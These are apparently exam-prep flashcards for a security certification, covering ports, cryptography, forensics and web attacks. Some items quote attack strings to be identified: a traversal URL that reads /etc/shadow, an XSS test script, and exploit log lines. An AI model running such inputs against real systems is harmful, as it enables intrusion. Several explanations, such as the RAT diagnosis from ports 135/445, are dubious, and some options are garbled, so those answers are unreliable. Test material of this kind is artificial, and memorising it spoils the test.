Dion practice tests Flashcards
Which of the following protocols is commonly used to collect information about CPU utilization and memory usage from network devices?
SNMP
Netflow
MIB
SMTP
SNMP
OBJ-2.6: Simple Network Management Protocol (SNMP) is commonly used to gather information from routers, switches, and other network devices. It provides information about a device’s status, including CPU and memory utilization, as well as many other useful details about the device. NetFlow provides information about network traffic. A management information base (MIB) is a database used for managing the entities in a communication network. The Simple Mail Transfer Protocol (SMTP) is a communication protocol for electronic mail transmission.
A cybersecurity analyst is reviewing the logs of a proxy server and saw the following URL, http://test.diontraining.com/../../../../etc/shadow. What type of attack has likely occurred?
SQL Injection
Directory traversal
XML injection
Buffer overflow
Directory traversal
OBJ-1.2: This is an example of a directory traversal. A directory traversal attack aims to access files and directories that are stored outside the webroot folder. By manipulating variables or URLs that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on the file system, including application source code or configuration and critical system files. A buffer overflow is an exploit that attempts to write data to a buffer and exceed that buffer’s boundary to overwrite an adjacent memory location. XML Injection is an attack technique used to manipulate or compromise the logic of an XML application or service. SQL injection is the placement of malicious code in SQL statements, via web page input.
You are trying to find a rogue device on your wired network. Which of the following options would NOT be helpful in finding the device?
MAC validation
Site surveys
War walking
Port scanning
War walking
OBJ-1.4: War walking is conducted by walking around a building while trying to locate wireless networks and devices. War walking will not help find a wired rogue device. Checking valid MAC addresses against a known list, scanning for new systems or devices, and physically surveying for unexpected systems can be used to find rogue devices on a wired network.
Which of the following does a User Agent request a resource from when conducting a SAML transaction?
Single sign-on (SSO) Relying party (RP) Identity provider (IdP) Service provider (SP)
Service provider (SP)
OBJ-4.2: Security assertions markup language (SAML) is an XML-based framework for exchanging security-related information such as user authentication, entitlement, and attributes. SAML is often used in conjunction with SOAP. SAML is a solution for providing single sign-on (SSO) and federated identity management. It allows a service provider (SP) to establish a trust relationship with an identity provider (IdP) so that the identity of a user (the principal) can be trusted by the SP without the user having to authenticate directly with the SP. The principal’s User Agent (typically a browser) requests a resource from the service provider (SP). The resource host can also be referred to as the relying party (RP). If the user agent does not already have a valid session, the SP redirects the user agent to the identity provider (IdP). The IdP requests the principal’s credentials if not already signed in and, if correct, provides a SAML response containing one or more assertions. The SP verifies the signature(s) and (if accepted) establishes a session and provides access to the resource.
In an effort to increase the security of their passwords, Dion Training has added a salt and cryptographic hash to their passwords prior to storing them. To further increase security, they run this process many times before storing the passwords. What is this technique called?
Salting
Collision resistance
Key stretching
Rainbow table
Key stretching
OBJ-6.1: In cryptography, key stretching techniques are used to make a possibly weak key, typically a password or passphrase, more secure against a brute-force attack by increasing the resources it takes to test each possible key. The question describes one such key stretching technique.
Alexa is an analyst for a large bank that has offices in multiple states. She wants to create an alert to detect when an employee from one bank office logs into a workstation located at an office in another state. What type of detection and analysis is Alexa configuring?
Anomaly
Heuristic
Behavior
Trend
Behavior
OBJ-2.1: This is an example of behavior-based detection. Behavior-based detection (or statistical- or profile-based detection) means that the engine is trained to recognize baseline traffic or expected events associated with a user account or network device. Anything that deviates from this baseline (outside a defined level of tolerance) generates an alert. Heuristic analysis determines whether a number of observed data points constitutes an indicator and whether related indicators make up an incident depend on a good understanding of the relationship between the observed indicators. Human analysts are typically good at interpreting context but work painfully slowly, in computer terms, and cannot hope to cope with the sheer volume of data and traffic generated by a typical network. Anomaly analysis is the process of defining an expected outcome or pattern to events and then identifying any events that do not follow these patterns. This is useful in tools and environments that enable you to set rules. Trend analysis is not used for detection, but instead to better understand capacity and the normal baseline of a system. Behavioral-based detection differs from anomaly-based detection. Behavioral-based detection records expected patterns in relation to the entity being monitored (in this case, user logins). Anomaly-based detection prescribes the baseline for expected patterns based on its own observation of what normal looks like.
Which of the following is the LEAST secure wireless security and encryption protocol?
WPA
AES
WPA2
WEP
WEP
OBJ-6.3: Wired Equivalent Privacy (WEP) is a security protocol, specified in the IEEE Wireless Fidelity (Wi-Fi) standard, 802.11b, that is designed to provide a wireless local area network (WLAN) with a level of security and privacy comparable to what is usually expected of a wired LAN. It is the oldest form of wireless security and the weakest form. WEP can be cracked with brute force techniques in less than 5 minutes with a normal end-user computer.
Which of the following ports should you block at the firewall if you want to prevent a remote login to a server from occurring?
110
25
23
443
23
OBJ-2.6: Port 23 is used by telnet, which used to be used by administrators to connect remotely to a server and issue commands via a command-line interface. Telnet is not commonly used in networks anymore because all of the commands sent back and forth to the server are passed without any encryption or protection. Therefore, telnet is a security risk and has been mostly replaced by SSH (Port 22). Port 25 is used by SMTP, Port 110 is used by POP3, and port 443 is used by HTTPS.
Vulnerability scans must be conducted on a continuous basis in order to meet regulatory compliance requirements for the storage of PHI. During the last vulnerability scan, a cybersecurity analyst received a report of 2,592 possible vulnerabilities and was asked by the Chief Information Security Officer (CISO) for a plan to remediate all the known issues. Which of the following should the analyst do next?
Wait to perform any additional scanning until the current list of vulnerabilities have been remediated fully.
Attempt to identify all the false positives and exceptions, then resolve any remaining items.
Place any assets that contain PHI in a sandbox environment and then remediate all the vulnerabilities.
Filter the scan results to include only those items listed as critical in the asset inventory and remediate those vulnerabilities first.
Filter the scan results to include only those items listed as critical in the asset inventory and remediate those vulnerabilities first
OBJ-5.8: PHI is an abbreviation for Personal Health Information. When attempting to remediate a large number of vulnerabilities, it is crucial to prioritize the vulnerabilities to determine which ones should be remediated first. In this case, there is a regulatory requirement to ensure the security of the PHI data. Therefore, those assets that are critical to the secure handling or storage of PHI are of the highest risk should be prioritized for remediation first. It is impractical to resolve all 2,592 vulnerabilities at once. Therefore, you should not try to identify all the false positives and exceptions and then resolve any remaining items since they won’t be prioritized for remediation. You should also not wait to perform additional scanning because a scan is only a snapshot of your current status. If it takes 30 days to remediate all the vulnerabilities and you do not scan, new vulnerabilities may have been introduced during that time. Placing all the PHI asserts into a sandbox will not work either because then you have removed them from the production environment, and they can no longer serve their critical business functions.
You are working as part of a cyber incident response team. An ongoing attack has been identified on your webserver. Your company wants to take legal action against the criminals who have hacked your server, so they have brought in a forensic analyst from the FBI to collect the evidence from the server. What order should the digital evidence be collected based on the order of volatility?
Processor Cache, Random Access Memory, Swap File, Hard Drive or USB Drive
Swap File, Processor Cache, Random Access Memory, Hard Drive or USB Drive
Hard Drive or USB Drive, Swap File, Random Access Memory, Processor Cache
Processor Cache, Swap File, Random Access Memory, Hard Drive or USB Drive
Processor Cache, Random Access Memory, Swap File, Hard Drive or USB Drive
OBJ 5.5: The correct order for evidence collection based on the order of volatility is the Processor Cache, Random Access Memory, Swap File , and then the Hard Drive or USB Drive. Since the Processor Cache is the most volatile and changes the most frequently, it should be captured first. Random Access Memory (RAM) is temporary storage in a computer, can quickly change or overwritten, and the information stored in RAM is lost when power is removed from the computer, so it should be collected second. Swap files are temporary files on a hard disk that are used as virtual memory, and therefore, should be collected third. The files on a hard disk or USB drive are the least volatile of the four options presented since it is used for long-term storage of data and is not lost when the computer loses power.
Which of the following ports should you block at the firewall if you want to prevent a remote login to a server from occurring? 80 22 21 143
22
OBJ-2.6: Port 22 is used for SSH, which is used by administrators to securely connect remotely to a server and issue commands via a command-line interface. Port 21 is used by FTP, Port 80 is used by HTTP, and port 143 is used by IMAP.
You suspect that your server has been the victim of a web-based attack. Which of the following ports would most likely be seen in the logs to indicate the target of the attack? 443 3389 389 21
443
OBJ-2.6: Web-based attacks would likely appear on port 80 (HTTP) or port 443 (HTTPS). An attack against Active Directory is likely to be observed on port 389 LDAP. An attack on an FTP server is likely to be observed on port 21 (FTP). An attack using the remote desktop protocol would be observed on port 3389 (RDP).
53 TFTP
69 SMTP
25 HTTP
80 DNS
Using the image provided, place the port numbers in the correct order with their associated protocols: 25, 80, 53, 69 69, 25, 80, 53 53, 69, 25, 80 80, 53, 69, 25
69, 25, 80, 53
OBJ 2.6: For the exam, you need to know your ports and protocols. The Trivial File Transfer Protocol (TFTP) uses port 69. The Simple Mail Transfer Protocol (SMTP) uses port 25. The Hypertext Transfer Protocol (HTTP) uses port 80. The Domain Name Service (DNS) protocol uses port 53.
You are the first forensic analyst to arrive on the scene of a data breach. You have been asked to begin evidence collection on the server while waiting for the rest of your team to arrive. Which of the following evidence should you capture first? Image of the server's SSD ARP cache L3 cache Backup tapes
L3 cache
OBJ-5.5: When collecting evidence, you should always follow the order of volatility. This will allow you to collect the most volatile evidence (most likely to change) first, and the least volatile (least likely to change) last. You should always begin the collection with the CPU registers and cache memory (L1/L2/L3/GPU). The contents of system memory (RAM), including a routing table, ARP cache, process tables, kernel statistics, and temporary file systems/swap space/virtual memory. Next, you would move onto the collection of data storage devices like hard drives, SSDs, and flash memory devices. After that, you would move onto less volatile data such as backup tapes, external media devices (hard drives, DVDs, etc.), and even configuration data or network diagrams.
What type of malware changes its binary pattern in its code on specific dates or times in order to avoid detection by antimalware software? Polymorphic virus Ransomware Logic bomb Trojan
Polymorphic virus
OBJ-1.1: A polymorphic virus alters its binary code in order to avoid detection by antimalware scanners that rely on signature-based detection. By changing its signature, the virus can avoid detection.
While conducting a penetration test of an organization’s web applications, you attempt to insert the following script into the search form on the company’s web site: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- alert(“This site is vulnerable to an attack!”) -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Then, you clicked the search button, and a pop-up box appears on your screen showing the following text, “This site is vulnerable to an attack!” Based on this response, what vulnerability have you uncovered in the web application?
Cross-site scripting
Cross-site request forgery
Distributed denial of service
Buffer overflow
Cross-site scripting
OBJ-1.2: This is a form of Cross-Site Scripting (XSS). Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site request forgery (CSRF or XSRF) is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts. There are many ways in which a malicious website can transmit commands such as specially-crafted image tags, hidden forms, and JavaScript XMLHttpRequests can all work without the user’s interaction or even knowledge. A distributed denial-of-service (DDoS) attack is a malicious attempt to disrupt normal traffic of a targeted server, service, or network by overwhelming the target or its surrounding infrastructure with a flood of Internet traffic. A buffer overflow is an anomaly that occurs when a program overruns the buffer’s boundary and overwrites adjacent memory locations while writing data to a buffer.
Which of the following cryptographic algorithms is classified as asymmetric?
DSA
DES
AES
RC4
DSA
OBJ-6.2: The Digital Signature Algorithm (DSA) is a Federal Information Processing Standard for digital signatures. The algorithm uses a key pair consisting of a public key and a private key. AES, RC4, and DES are all symmetric algorithms.
Which of the following methods should a cybersecurity analyst use to locate any instances on the network where passwords are being sent in cleartext?
SIEM event log monitoring
Net flow capture
Full packet capture
Software design documentation review
Full packet capture
OBJ-2.1: Full packet capture records the complete payload of every packet crossing the network. The other methods will not provide sufficient information to allow for the detection of a cleartext password being sent. A net flow analysis will determine where communications occurred, by what protocol, to which devices, and how much content was sent, but it will not reveal anything about the content itself since it only analyzes the metadata for each packet crossing the network. A SIEM event log being monitored might detect that an authentication event has occurred, but it will not necessarily reveal if the password was sent in cleartext, as a hash value, or in the ciphertext. A software design documentation may also reveal what the designer’s intentions for authentication were when they created the application, but this only provides an ‘as designed’ approach for a given software and does not provide whether the ‘as built’ configuration was implemented securely.
Which of the following hashing algorithms results in a 256-bit fixed output?
SHA-1
NTLM
SHA-2
MD-5
SHA-2
OBJ-6.2: SHA-2 creates a 256-bit fixed output. SHA-1 creates a 160-bit fixed output. NTLM creates a 128-bit fixed output. MD-5 creates a 128-bit fixed output.
You have been asked to develop a solution for one of your customers. The customer is a software development company, and they need to be able to test a wide variety of operating systems to test the software applications their company is developing internally. The company doesn’t want to buy a bunch of computers to install all of these operating systems for testing. Which of the following solutions would BEST meet the company’s requirements?
Purchase a high-end computer that has a lot of CPU cores and RAM, install a hypervisor, and configure a virtual machine for each operating system that will be used to test the applications being developed
Purchase multiple inexpensive workstations and install one operating system that will be used to test the applications being developed on each workstation
Purchase one computer, install an operating system on it, create an image of the system, then reformat it, install the next operating system, create another image, and reimage the machine each time you need to test a different application
Purchase multiple workstations, install a VM on each one, then install one operating system that will be used to test the applications being developed in each VM
Purchase a high-end computer that has a lot of CPU cores and RAM, install a hypervisor, and configure a virtual machine for each operating system that will be used to test the applications being developed
OBJ-3.7: Since the company’s main goal was to minimize the amount of hardware required, the BEST solution is to purchase a high-end computer that has a lot of CPU cores and RAM, install a hypervisor, and configure a virtual machine for each operating system that will be used to test the applications being developed. This allows a single machine to run multiple operating systems for testing with the least amount of hardware.
Which of the following is NOT considered part of the Internet of Things?
Laptop
SCADA
Smart television
ICS
Laptop
OBJ-3.5: Supervisory control and data acquisition (SCADA) systems, industrial control systems (ICS), internet-connected televisions, thermostats, and many other things examples of devices classified as the Internet of Things (IoT). A laptop would be better classified as a computer or host than as part of the Internet of Things. The Internet of things (IoT) is a system of interrelated computing devices, mechanical and digital machines provided with unique identifiers (UIDs) and the ability to transfer data over a network without requiring human-to-human or human-to-computer interaction.
Susan, a help desk technician at Dion Training, has received several trouble tickets today related to employees receiving the same email as part of a phishing campaign. She has determined that the malicious link in the email is not being blocked by the company’s security suite when a user clicks the link. Susan asks you what action can be performed to prevent a user from reaching the website that is associated with the malicious link in the phishing email. What action do you recommend she utilize?
Block the IP address of the malicious domain in your firewall’s ACL
Add the malicious domain name to your content filter and web proxy’s blacklist
Forward this phishing email to all employees with a warning not to click on the embedded links
Enable TLS on your organization’s mail server
Add the malicious domain name to your content filter and web proxy’s blacklist
OBJ-2.3: To prevent a user from accessing the malicious website when the link is clicked, the malicious domain name should be added to the blacklist of the company’s content filter and web proxy. This will ensure that no devices on the network can reach the malicious domain name. While blocking the IP address associated with the domain name might help for a short period of time, the owner of the malicious domain could quickly redirect the DNS to point to a different IP, and then the users would still be able to access the malicious domain and its contents. Enabling TLS on the mail server will only encrypt the connection between the email server and its clients, but it will not prevent the users from clicking on the malicious link and accessing the malicious content. While informing the users that there is an active attempt at phishing being conducted against the organization is a good idea, forwarding the phishing email with the malicious link will generally cause more users to accidentally click on the malicious link, which further exacerbates the issue.
Which of the following cryptographic algorithms is classified as symmetric?
ECC
RSA
Twofish
Diffie-Hellman
Twofish
OBJ-6.2: Twofish is a symmetric key block cipher with a block size of 128 bits and key sizes up to 256 bits. ECC, RSA, and Diffie-Hellman are all asymmetric algorithms.
Riaan’s company runs critical web applications. During a vulnerability scan, Riaan found a serious SQL injection vulnerability in one of their web applications. The system cannot be taken offline to remediate the vulnerability. Which of the following compensating controls should Riaan recommend using until the system can be remediated?
WAF
IPS
Vulnerability scanning
Encryption
WAF
OBJ-3.2: WAF (web application firewall) is the best option since it has the ability to serve as a compensating control and can protect against web application vulnerabilities like an SQL injection until the application can be fully remediated. Vulnerability scanning could only be used to detect the issue. Therefore, it is a detective control, not a compensating control. Encryption would not be effective in stopping an SQL injection. An IPS is designed to protected network devices based on ports, protocols, and signatures. It would not be effective against an SQL injection and is not considered a compensating control for this vulnerability.
Which of the following cryptographic algorithms is classified as asymmetric?
AES
RC4
DES
RSA
RSA
OBJ-6.2: RSA (Rivest–Shamir–Adleman) was one of the first public-key cryptosystems and is widely used for secure data transmission. As a public-key cryptosystem, it relies on an asymmetric algorithm. AES, RC4, and DES are all symmetric algorithms.
What tool is used to collect wireless packet data?
Nessus
John the Ripper
Aircrack-ng
Netcat
Aircrack-ng
OBJ-2.2: Aircrack-ng is a complete suite of wireless security assessment and exploitation tools that includes monitoring, attacking, testing, and cracking of wireless networks. This includes packet capture and export of the data collected as a text file or pcap file. John the Ripper is a password cracking software tool. Nessus is a vulnerability scanner. Netcat is used to create a reverse shell from a victimized machine back to an attacker.
You are attending a cybersecurity conference and just watched a security researcher demonstrating the exploitation of a web interface on a SCADA/ICS component. This caused the device to malfunction and be destroyed. You recognize that the same component is used throughout your company’s manufacturing plants. Which of the following mitigation strategies would provide you with the most immediate protection against this emergent threat?
Evaluate if the web interface must remain open for the system to function; if it isn’t needed, block the web interface
Replace the affected SCADA/ICS components with more secure models from a different manufacturer
Demand that the manufacturer of the component release a patch immediately and deploy the patch as soon as possible
Logically or physically isolate the SCADA/ICS component from the enterprise network
Evaluate if the web interface must remain open for the system to function; if it isn’t needed, block the web interface
Explanation
OBJ-3.5: The most immediate protection against this emergent threat would be to block the web interface from being accessible over the network. Before doing this, though, you must evaluate whether the interface needs to remain open for the system to function properly. If it is not needed, you should block it to minimize the attack surface of the SCADA/ICS component. Ideally, your SCADA/ICS components should already be logically or physically isolated from the enterprise network. Since the question doesn’t mention the networks as an area of concern, we can assume they are already following the industry best practice of logical or physical segmentation between the SCADA/ICS network and the enterprise network. On the exam, make sure you focus on the question being asked. In this case, the question focuses on the web interface. Developing a patch can be a time-consuming process, therefore waiting for the manufacturer to provide a patch will not provide immediate protection to your components. The same holds true with replacing the affected components. Even if you could get the company to authorize the funding for such a purchase, it would take time to order, ship, receive, and install the new components. Additionally, you would cause unwanted downtime in the factory during the installation of the components, making it an ineffective option when simply blocking the web interface is free, quick, and effective.
Review the network diagram provided. Which of the following ACL entries should be added to the firewall to allow only the Human Resources (HR) computer to have SMB access to the file server (Files)?
(Note: The firewall in this network is using implicit deny to maintain a higher level of security. ACL entries are in the format of Source IP, Destination IP, Port Number, TCP/UDP, Allow/Deny.)
Intranet Workstations Data Center
Sales: 172.16.1.2 Backup: 192.168.1.10
HR: 172.16.1.3 Confidential: 192.168.1.11
IT: 172.16.1.4 Files: 192.168.1.12
- 16.1.3, 192.168.1.12, ANY, TCP, ALLOW
- 16.1.12/24, 192.168.1.3/24, 445, TCP, ALLOW
- 16.1.3, 192.168.1.12, 445, TCP, ALLOW
- 168.1.12, 172.16.1.3, 445, UDP, DENY
172.16.1.3, 192.168.1.12, 445, TCP, ALLOW
OBJ 2.1: The ACL should be created with 172.16.1.3 as the Source IP, 192.168.1.12 as the Destination IP, 445 as the port number operating over TCP, and the ALLOW condition set. This is the most restrictive option presented (only the HR and Files server are used), and the minimal number of ports are opened to accomplish our goal (only port 445 for the SMB service).
You are working as a help desk technician and received a call from a user who is complaining about their computer’s performance has slowed down over the last week since they installed a new free video game on the computer. As part of your troubleshooting efforts, you enter the command prompt in Windows and run the following command:
c:\Windown\system32>netstat -anb
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0;0.0.0:0 Listening
TCP 0.0.0.0:445 0.0.0.0:0 Listening
TCP 10.10.10.123:51232 64.59.12.54:80 Established
UDP 10.10.10.123:53 .
Based on the output provided, what type of malware may have been installed on this user’s computer?
Worm
Spam
Keylogger
RAT
RAT
OBJ 1.1: Based on the scenario and the output provided, the best choice is a RAT. A RAT is a Remote Access Trojan and it is usually installed accidentally by a user when they install free software on their machine that has a RAT embedded into it. The first two lines of the output show that ports 135 and 445 are open and listening for an inbound connection (which is typical of a RAT). This is not an example of a worm because the user admitted to installing a free program, and worms can install themselves and continue to send data outbound across the network to continue to spread. There is no indication in the scenario that a keylogger is being used, nor that spam (unsolicited emails) have been received.
Which of the following formats do SAML transactions use when communicating information between the identity provider and the service provider?
CSV
JSON
HTML
XML
XML
OBJ-4.2: Security Assertion Markup Language (SAML) is an open standard that allows identity providers (IdP) to pass authorization credentials to service providers (SP). SAML transactions use Extensible Markup Language (XML) for standardized communications between the identity provider and service providers. SAML is the link between the authentication of a user’s identity and the authorization to use a service.
A cybersecurity analyst is working at a college that wants to increase the security of its network by implementing vulnerability scans of centrally managed workstations, student laptops, and faculty laptops. Any proposed solution must be able to scale up and down as new students and faculty use the network. Additionally, the analyst wants to minimize the number of false positives to ensure accuracy in their results. The chosen solution must also be centrally-managed through an enterprise console. Which of the following scanning topologies would be BEST able to meet these requirements?
Passive scanning engine located at the core of the network infrastructure
Active scanning engine installed on the enterprise console
Combination of cloud-based and server-based scanning engines
Combination of server-based and agent-based scanning engines
Active scanning engine installed on the enterprise console
OBJ-2.2: Since the college wants to ensure there is a centrally-managed enterprise console, using an active scanning engine installed on the enterprise console would best meet these requirements. Then, the college’s cybersecurity analysts could perform scans on any devices that are connected to the network using the active scanning engine at the desired intervals. Agent-based scanning would be ineffective since the college cannot force the installation of the agents onto each of the personally owned devices brought in by the students or faculty. A cloud-based or server-based engine may be useful, but it won’t address the centrally-managed requirement. Passive scanning is less intrusive but is subject to a high number of false positives.
A cybersecurity analyst is reviewing the logs of a Citrix NetScaler Gateway running on a FreeBSD 8.4 server and saw the following output: -=-=-=-=–=-=-=-=–=-=-=-=–=-=-=-=–=-=-=-=–=-=-=-=–=-=-=-=- 10.1.1.1 - - [10/Jan/2020:13:23:51 +0000] “POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1” 200 143 “https://10.1.1.2/” “USERAGENT “ 10.1.1.1 - - [10/Jan/2020:13:23:53 +0000] “GET /vpn/../vpns/portal/backdoor.xml HTTP/1.1” 200 941 “-“ “USERAGENT” 10.1.1.1 - - [10/Jan/2020:16:12:31 +0000] “POST /vpns/portal/scripts/newbm.pl HTTP/1.1” 200 143 “https://10.1.1.2/” “USERAGENT” -=-=-=-=–=-=-=-=–=-=-=-=–=-=-=-=–=-=-=-=–=-=-=-=–=-=-=-=- What type of attack was most likely being attempted by the attacker?
XML injection
Directory traversal
SQL injection
Password spraying
Directory traversal
OBJ-1.2: A directory traversal attack aims to access files and directories that are stored outside the webroot folder. By manipulating variables or URLs that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on the file system, including application source code or configuration and critical system files. The example output provided comes from a remote code execution vulnerability being exploited in which a directory traversal is used to access the files. XML Injection is an attack technique used to manipulate or compromise the logic of an XML application or service. SQL injection is the placement of malicious code in SQL statements via web page input. Password spraying attempts to crack various user’s passwords by attempting a compromised password against multiple user accounts.
You have been investigating how a malicious actor was able to exfiltrate confidential data from a web server to a remote host. After an in-depth forensic review, you determine that the web server’s BIOS had been modified by the installation of a rootkit. After you remove the rootkit and reflash the BIOS to a known good image, what should you do in order to prevent the malicious actor from affecting the BIOS again?
Install a host-based IDS
Utilize secure boot
Install an anti-malware application
Utilize file integrity monitoring
Utilize secure boot
OBJ-3.3: Since you are trying to protect the BIOS, utilizing secure boot is the best choice. Secure boot is a security system offered by UEFI. It is designed to prevent a computer from being hijacked by a malicious OS. Under secure boot, UEFI is configured with digital certificates from valid OS vendors. The system firmware checks the operating system boot loader using the stored certificate to ensure that it has been digitally signed by the OS vendor. This prevents a boot loader that has been changed by malware (or an OS installed without authorization) from being used. The TPM can also be invoked to compare hashes of key system state data (boot firmware, boot loader, and OS kernel) to ensure they have not been tampered with by a rootkit. The other options are all good security practices, but they only apply once you have already booted into the operating system. This makes them ineffective against boot sector or rootkit attacks.
What tool can be used as an exploitation framework during your penetration tests?
Metasploit
Nessus
Autopsy
Nmap
Metasploit
OBJ-1.4: The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. Nessus is a very popular vulnerability scanner. It can be used to check how vulnerable your network is by using various plugins to test for vulnerabilities. Also, Nessus can be used to perform compliance auditing, like internal and external PCI DSS audit scans. The nmap tool is a port scanner. BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
When your credit card data is written to the customer invoicing system at Dion Training, the first 12 digits are replaced with an x before storing the data. Which of the following privacy methods is being used?
Tokenization
Data minimization
Data masking
Anonymization
Data masking
OBJ-5.8: Data masking can mean that all or part of the contents of a field is redacted, by substituting all character strings with x, for example. Tokenization means that all or part of data in a field is replaced with a randomly generated token. The token is stored with the original value on a token server or token vault, separate from the production database. An authorized query or app can retrieve the original value from the vault, if necessary, so tokenization is a reversible technique. Data minimization involves limiting data collection to only what is required to fulfill a specific purpose. By reducing what information is collected, it reduces the amount and type of information that must be protected. Data anonymization is the process of removing personally identifiable information from a data set so that the people whom the data describe remain anonymous.
A cybersecurity analyst has determined that an attack has occurred against your company’s network. Fortunately, your company uses a good system of logging with a centralized syslog server, so all the logs are available, were collected, and have been stored properly. According to the cybersecurity analyst, the logs indicate that the database server was the only company server on the network that appears to have been attacked. The network is a critical production network for your organization. Therefore, you have been asked to choose the LEAST disruptive actions on the network while performing the appropriate incident response actions. Which actions do you recommend to as part of the response efforts?
Isolate the affected server from the network immediately, format the database server, reinstall from a known good backup
Capture network traffic using a sniffer, schedule a period of downtime to image and remediate the affected server, and maintain the chain of custody
Immediately remove the database server from the network, create an image of its hard disk, and maintain the chain of custody
Conduct a system restore of the database server, image the hard drive, and maintain the chain of custody
Capture network traffic using a sniffer, schedule a period of downtime to image and remediate the affected server, and maintain the chain of custody
OBJ-5.4: Since the database server is part of a critical production network, it is important to work with the business to time the period of remediation to minimize productivity losses. You can immediately begin to capture network traffic since this won’t affect the database server or the network (least intrusive) while scheduling a period of downtime in which to take a forensic image of the database server’s hard drive. All network captures and the hard drive should be maintained under the chain of custody in case it is needed for criminal prosecution or civil action after remediation. The server should be remediated and brought back online once the hard drive image has been created.
Which of the following is the MOST secure wireless security and encryption protocol?
WPA
WPS
WPA2
WEP
WPA2
OBJ-6.3: WPA2 is the most secure wireless security and encryption protocol. WPA2 uses a pre-shared key (PSK) for authentication and is designed to secure both home and enterprise wireless networks.
An attacker is using the nslookup interactive mode to locate information on a Domain Name Service (DNS). What command should they type to request the appropriate records for only name servers?
request type=ns
set type=ns
locate type=ns
transfer type=ns
set type=ns
OBJ-2.2: The “set type=ns” tells nslookup to only report information on name servers. If you used “set type=mx” instead, you would receive information only about mail exchange servers.
161 SCP
22 POP3
23 SNMP
110 Telnet
Using the image provided, place the port numbers in the correct order with their associated protocols:
23, 110, 22, 161
161, 22, 110, 23
22, 110, 161, 23
110, 161, 23, 22
22, 110, 161, 23
OBJ 2.6: For the exam, you need to know your ports and protocols. The Secure Copy (SCP) operates over port 22. Telnet operates over port 23. The Simple Network Management Protocol (SNMP) operates over port 161. The Post Office Protocol 3 (POP3) operates over port 110.
A new security appliance was installed on a network as part of a managed service deployment. The vendor controls the appliance, and the IT team is not able to log in or configure it. The IT team is concerned about the appliance receiving necessary updates. Which of the following mitigations should be performed to minimize the concern for the appliance and updates?
Configuration management
Vulnerability scanning
Automatic updates
Scan and patch the device
Vulnerability scanning
OBJ-3.3: The best option here is vulnerability scanning, as this allows the IT team to know what risks their network is taking on and where subsequent mitigations may be possible. Configuration management, automatic updates, and patching could be a possible solution. These are not viable options without gaining administrative access to the appliance. Therefore, it is best for the analyst to continue to conduct vulnerability scanning of the device to understand the risks associated with it, and then make recommendations to add additional compensating controls like firewall configurations, adding a WAF, providing segmentation, and other configurations outside the appliance to minimize the vulnerabilities it presents.
Which type of media sanitization would you classify degaussing as?
Destruction
Erasing
Purging
Clearing
Purging
OBJ-5.7: Degaussing is classified as a form of purging. Purging eliminates information from being feasibly recovered even in a laboratory environment. Purging includes degaussing, encryption of the data with the destruction of its encryption key, and other non-destructive techniques. Some generic magnetic storage devices can be reused after the degaussing process has occurred, such as VHS tapes and some older backup tapes. For this reason, though, the technique of degaussing is classified as purging and not destruction, even though hard drives are rendered unusable after being degaussed. Clearing data prevents data from being retrieved without the use of state of the art laboratory techniques. Clearing often involves overwriting data one or more times with repetitive or randomized data. Destroying data is designed not merely to render the information unrecoverable, but also to hinder any reuse of the media itself. Destruction is a physical process that may involve shredding media to pieces, disintegrating it to parts, pulverizing it to powder, or incinerating it to ash. Erasing or deleting is considered a normal operation of a computer, which erases the pointer to the data file on a storage device. Erasing and deleting are easily reversed, and the data can be recovered with commercially available or open-source tools.
Which of the protocols listed is NOT likely to be a trigger for a vulnerability scan alert when it is used to support a virtual private network (VPN)?
PPTP
IPSec
SSLv3
SSLv2
IPSec
OBJ-2.1: IPSec is the most secure protocol that works with VPNs. The use of PPTP and SSL is discouraged for VPN security. Due to this, the use of PPTP and SSL for a VPN will likely alert during a vulnerability scan as an issue to be remediated.
Mantrap
Biometrics
Proximity badges
Remote wipe
Antivirus
Cable lock
ECC
GPS tracking
FM-200
Strong passwords
Select four security features that you should use to best protect your servers in the data center. This can include physical, logical, or administrative protections.
GPS tracking, Biometrics, Proximity badges, Remote wipe
FM-200, Biometric locks, Mantrap, Antivirus
Antivirus, Mantrap, Cable lock, GPS tracking
Strong passwords, Biometrics, Mantrap, Cable lock
FM-200, Biometric locks, Mantrap, Antivirus
OBJ 3.9: The best option based on your choices is FM-200, Biometric locks, Mantrap, and Antivirus. FM-200 is a fire extinguishing system that is commonly used in data centers and server rooms to protect the servers from fire. Biometric locks are often used in high-security areas as a lock on the access door. Additionally, biometric authentication could be used for a server by using a USB fingerprint reader. Mantraps often are used as part of securing a data center as well. This area creates a boundary between a lower security area (such as the offices) and the higher security area (the server room). Antivirus should be installed on servers since they can use signature-based scans to ensure files are safe before being executed.
A small doctor’s office has asked you to configure their network to use the highest levels of wireless security and desktop authentication. The office only uses cloud-based SaaS applications to store their patient’s sensitive data. Which TWO of the following protocols or authentication methods should you implement for the BEST security?
WEP RADIUS WPS WPA2 SSO Multifactor
WPA2, Multifactor
OBJ-4.1: Since everything is being stored within a cloud-based SaaS application, the doctor’s office needs to ensure their network connection is using the highest level of encryption (WPA2), and their desktop authentication should use a multifactor authentication system. Multifactor authentication relies on using at least 2 of the following factors: something you know (password or pin), something you have (smart card or key fob), something you are (fingerprint or retinal scan), or something you do (draw a pattern or how you sign your name).
You have been hired as a cybersecurity analyst for a privately-owned bank. Which of the following regulations would have the greatest impact on your bank’s cybersecurity program?
FERPA
SOX
GLBA
HIPAA
GLBA
